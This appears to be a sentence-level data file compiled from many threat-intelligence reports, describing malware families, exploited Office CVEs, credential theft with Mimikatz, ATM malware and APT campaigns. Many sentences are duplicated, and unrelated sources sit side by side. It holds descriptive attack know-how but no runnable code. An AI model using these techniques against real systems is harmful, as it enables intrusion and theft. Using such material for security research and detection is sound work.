Previously , Cloud Atlas dropped its validator” implant named PowerShower” directly , after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
NetWire , DarkComet , NanoCore , LuminosityLink , Remcos and Imminent Monitor are all designed to provide remote access to compromised systems .
The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes .
This ' connection bouncer ' tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic .
It is capable of a variety of functions , including credential theft , hard drive and data wiping , disabling security software , and remote desktop functionality .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak trojan .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
That post included download links for a slew of NSA hacking tools and exploits , many of which could be used to break into hardware firewall appliances , and in turn , corporate or government networks .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz consists entirely of plugins to gather intelligence , use exploits and examine already controlled machines .
DanderSpritz consists entirely of plugins to gather intelligence , use exploits and examine already controlled machines .
PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines .
Each of them consists of a set of plugins designed for different tasks : while FuzzBunch plugins are responsible for reconnaissance and attacking a victim , plugins in the DanderSpritz framework are developed for managing already infected victims .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
The ShadowBrokers is a group of hackers known for leaking exclusive information about the National Security Agency – NSA 's hacking tools and tactics .
It captures information using plugins to compromise webcam and microphone output along with documenting log keystrokes , carrying out surveillance and access external drives .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
The toolset includes reams of documentation explaining how the cyber weapons work , as well as details about their use in highly classified intelligence operations abroad .
The Ham Backdoor functions primarily as a modular platform , which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control ( C2 ) server .
Originally targeting Western European banks , Emotet has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Originally targeting Western European banks , it has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Beginning in mid-January 2019 , TA542 distributed millions of Emotet-laden emails in both English and German .
DanaBot is a Trojan that includes banking site web injections and stealer functions .
Two binder tools — used to disguise custom executables as legitimate Microsoft implants — were discovered by Falcon Intelligence and linked to MYTHIC LEOPARD in July 2017 .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory .
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Both groups can set permissions on specific files to Everyone , and work in tandem with the PLATINUM backdoors .
At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory .
Hot patching is an operating system-supported feature for installing updates without having to reboot or restart a process .
Until this incident , no malware had been discovered misusing the AMT SOL feature for communication .
The folders seem to contain information about the company 's development documentation , artificial intelligence model , web security software , and antivirus software base code .
As mentioned in the Hermes to Ryuk section , Ryuk uses a combination of symmetric ( AES ) and asymmetric ( RSA ) encryption to encrypt files .
Their software , once surreptitiously installed on a target 's cell phone or computer , can be used to monitor the target 's communications , such as phone calls , text messages , Skype calls , or emails .
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
This way , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
The Silence.Main Trojan , which is the main stage of the attack ,has a full set of commands to control a compromised computer .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc , and can act as a keylogger .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets .
The batch script would then attempt to have the VNC program connect to a command and control ( C2 ) server to enable the server to control the compromised system .
The IndiaBravo-PapaAlfa installer is responsible for installing the service DLL variant .
These tools often lay the groundwork for further malicious activity , such as the targeting of antivirus capabilities and the disabling of firewalls , both of which are very fundamental defensive measures .
The first class , colloquially known as " wipers " , are a class of malware has the primary intent of destroying data on a victim 's machine .
DDoS malware floods a target 's network-connected service with an excessive number of request at once in order to overload the capacity of the server .
The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization ( ICAO ) 's phonetic alphabet ,2 commonly referred to as the NATO phonetic alphabet .
Loaders are typically responsible for loading a DLL component into memory given that a DLL cannot operate in a standalone mode such as an executable .
This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans .
FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors .
As a backdoor Trojan , Volgmer has several capabilities including : gathering system information , updating service registry keys , downloading and uploading files , executing commands , terminating processes , and listing directories .
RATANKBA is delivered to its victims using a variety of lure documents , including Microsoft Office documents , malicious CHM files , and different script downloaders .
These files have the capability to download and install malware , install proxy and Remote Access Trojans ( RATs ) , connect to command and control ( C2 ) servers to receive additional instructions , and modify the victim 's firewall to allow incoming connections .
The WannaCry malware consists of two distinct components , one that provides ransomware functionality and a component used for propagation , which contains functionality to enable SMB exploitation capabilities .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
WCry uses a combination of the RSA and AES algorithms to encrypt files .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Depending on placement , a web shell can provide continued access to victims ' environments , re-infect victim systems , and facilitate lateral movement .
While it lacks more advanced functionality like screen capturing , it is still able to carry out most tasks desired by threat actors : exfiltration of files , ability to download and execute additional payloads , and gain remote shell access .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor .
The SHAPESHIFT wiper is capable of wiping disks and volumes , as well as deleting files .
The HTA files contained job descriptions and links to job postings on popular employment websites .
The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised .
Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .
The macro ran a PowerShell command that attempted to download additional PowerShell loader scripts for PupyRAT , a research and penetration-testing tool that has been used in attacks .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
Poison Ivy is a remote access tool that is freely available for download from its official web site at www.poisonivy-rat.com .
Poison Ivy includes features common to most Windows-based RATs , including key logging , screen capturing , video capturing , file transfers , system administration , password theft , and traffic relaying .
The Poison Ivy builder kit allows attackers to customize and build their own PIVY server , which is delivered as mobile code to a target that has been compromised , typically using social engineering .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
ISMDoor is able to exfiltrate data , take screenshots , and execute arbitrary commands on the victim 's machine .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
Based on the command capabilities of the Taidoor malware , we were able to determine that data theft and data destruction was possible .
This script relays commands and output between the controller and the system .
But two tools used were unique to the group : ASPXTool , an Internet Information Services ( IIS ) specific " Web shell " used to gain access to servers inside a target 's network ; and the OwaAuth credential stealing tool and Web shell , used to attack Microsoft Exchange servers running the Web Outlook interface .
PsExec is a Microsoft Sysinternals tool for executing processes on other systems and is one of the most frequently seen legitimate pieces of software used by attackers attempting to live off the land .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
As detailed in the previous section , this malware is able to manipulate and exfiltrate emails .
Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string " [username]=>singleton-instance-mutex " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Using XREFs during static analysis is a common technique to quickly find where functions of interest are called .
Although the developers of Bookworm have included only keylogging functionality in Bookworm as a core ability , as suggested in Table 1 , several of the embedded DLLs provide Leader with cryptographic and hashing functions , while others support Leader 's ability to communicate with its C2 server .
As mentioned in our previous blog on Bookworm , the Trojan sends a static date string to the C2 server that we referred to as a campaign code .
We believed that the actors would use this date code to track their attack campaigns ; however , after continued analysis of the malware , we think these static dates could also be a build identifier for the Trojan .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
A Trojan sending a build identifier to its C2 server is quite common , as it notifies the threat actors of the specific version of the Trojan in which they are interacting .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
We believe that Bookworm samples use the static date string as campaign codes , which we used to determine the approximate date of each attack that we did not have detailed targeting information .
Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central bank of Russia ( further referred to as BCS CBR ) .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Tweety Chat 's Android version can record audio , too .
One of its file stealers , swissknife2 , abuses a cloud storage service as a repository of exfiltrated files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
To obtain logins and passwords they applied keyloggers built into Corkow , as well as a commonly used feature of Mimikatz , dumping clear text Windows credentials from LSA .
Palo Alto Networks has noted and described the differences of two malware agents developed in parallel , with commonalities in behavior but differing functionalities ; families described as Infy and Infy M. Our primary observation was of the Infy ( non-M ) malware , which primarily functions as a keylogger for the collection of account credentials .
At this stage , the malware gathers information about the infected computer .
Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles , collaborative document editing sites , and blogs for C&C .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
If it did , the malware downloaded additional modules , including ones allowing for the automatic creation of unauthorized payment orders , changing details in legal payment orders , etc .
Lurk uses a form of steganography : that's where one file is hidden away inside another file of a completely different sort , such as an image , audio , or video file .
To do this , it employs a number of specific commands via DNSMessenger .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
We believe the 2013 , 2015 , and 2016 KeyBoy samples provide evidence of a development effort focused on changing components that would be used by researchers to develop detection signatures .
KeyBoy provides basic backdoor functionality , allowing the operators to select from various capabilities used to surveil and steal information from the victim machine .
If KeyBoy is a single component of a larger espionage toolkit , the developers may have realized that this older , static-key based , configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite .
The NetTraveler trojan has been known to be used in targeted cyber espionage attacks for more than a decade by nation state threat actors and continues to be used to target its victims and exfiltrate data .
This program is designed to capture keystrokes , take screenshots of the user 's desktop and get contents from the clipboard .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
Upon successful exploitation , the attachment will install the trojan known as NetTraveler using a DLL side-loading attack technique .
In addition , the NetTraveler toolkit was able to install additional info-stealing malware as a backdoor , and it could be customized to steal other types of sensitive information such as configuration details for an application or computer-aided design files .
The PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
he PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
One of the most notable functions of the initial dropper is to bypass Windows UAC ( User Account Control ) in order to execute the next payload with higher privileges .
Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it .
The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload .
He is responsible for developing tools for conducting attacks and is also able to modify complex exploits and third party software .
wuaupdt.exe is a CMD backdoor ,which can receive and execute CMD commands sent from C2 .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
The increasing sophistication of surveillance techniques has drawn comparisons with George Orwell's 1984 , but Weeping Angel , developed by the CIA's Embedded Devices Branch (EDB) , which infests smart TVs , transforming them into covert microphones , is surely its most emblematic realization .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
The Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS (JukeBox) and Linux (DanceFloor) .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e , possibly en masse .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of netstat an|find ESTABLISHED .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
This way , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
AdroMut downloads the malware ServHelper and FlawedAmmy RAT used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor .
The Silence.Main Trojan , which is the main stage of the attack ,has a full set of commands to control a compromised computer .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
As we described in Silence: Moving into the darkside report , Silence has experience with theft using compromised card processing systems .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc , and can act as a keylogger .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak trojan .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
The HTA files contained job descriptions and links to job postings on popular employment websites .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
Research presented in this report shows that the PUTTER PANDA operators are likely members of the 12th Bureau , 3rd General Staff Department ( GSD ) of the People 's Liberation Army ( PLA ) , operating from the unit 's headquarters in Shanghai with MUCD 61486 .
That this group is mostly targeting businesses is apparent from the processes they are looking for on a compromised system .
They are both targeting businesses using accounting software , are fingerprinting systems of interest similarly , are looking for smart card readers , and finally , they deploy an array of malicious tools to spy on their victims .
This adversary has been identified leveraging custom-developed plugins for versions 2 and 3 of the commodity malware Black Energy to target entities associated with energy , industrial control systems and SCADA , government , and media for espionage and destructive purposes , since at least 2011 .
This adversary has been identified leveraging custom-developed plugins for versions 2 and 3 of the commodity malware Black Energy to target entities associated with energy , government , and media for espionage and destructive purposes , since at least 2011 .
If you haven't heard about it for some reason , I would recommend to read this detailed report by Group-IB , as this APT attacks not only Russian banks , but also banks in more than 25 countries .
The credentials they use to register their malware infrastructure are easily associated with their public social media accounts on Google® , Facebook® , MySpace® , Instagram® , and various dating and blogging sites .
We have previously detected groups we suspect are affiliated with the North Korean government compromising electric utilities in South Korea , but these compromises did not lead to a disruption of the power supply .
North Korea linked hackers are among the most prolific nation-state threats , targeting not only the U.S. and South Korea but the global financial system and nations worldwide .
CapabilitiesFormBook is a data stealer , but not a full-fledged banker .
Furthermore , there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations .
The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in , or preparing to invest in , the country .
While the motivation for each APT32 private sector compromise varied – and in some cases was unknown – the unauthorized access could serve as a platform for law enforcement , intellectual property theft , or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations .
The use of the CARBANAK malware in FIN7 operations also provides limited evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent banking transactions , ATM compromise , and other monetization schemes .
For our M-Trends 2017 report , we took a look at the incidents we investigated last year and provided a global and regional (the Americas , APAC and EMEA) analysis focused on attack trends , and defensive and emerging trends .
In April 2015 , we uncovered the malicious efforts of APT30 , a suspected China-based threat group that has exploited the networks of governments and organizations across the region , targeting highly sensitive political , economic and military information .
Yet the document cache published April 8 provides evidence that the NSA had once launched a series of successful computer-based intrusions against multiple high-profile foreign targets , including the Office of the President of Iran and the Russian Federal Nuclear Center .
Emotet activity in 2019 included several high-volume campaigns that collectively distributed tens of millions of messages primarily targeting the manufacturing and healthcare industries .
Originally targeting Western European banks , Emotet has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Originally targeting Western European banks , it has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Transparent Tribe has been active for several years and conducting suspected intelligence collection operations against South Asian political and military targets .
In previous incidents involving this threat actor , we observed them using malicious documents hosted on websites about the Indian Army , instead of sending these documents directly as an email attachment .
To date , Whitefly has attacked organizations in the healthcare , media , telecommunications , and engineering sectors .
Between May 2017 and December 2018 , a multi-purpose command tool that has been used by Whitefly was also used in attacks against defense , telecoms , and energy targets in Southeast Asia and Russia .
The malicious documents seen in recent activity refer to a number of topics , including recent military promotions within the Pakistan Army , information related to the Pakistan Atomic Energy Commission , as well as Pakistan 's Ministry of the Interior .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases .
The group behind these attacks has stolen gigabytes of confidential documents , mostly from military organizations .
They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes .
Early in Q2 , Kaspersky identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare .
Orangeworm 's secondary targets include Manufacturing , Information Technology , Agriculture , and Logistics .
While these industries may appear to be unrelated , we found them to have multiple links to healthcare , such as large manufacturers that produce medical imaging devices sold directly into healthcare firms , IT organizations that provide support services to medical clinics , and logistical organizations that deliver healthcare products .
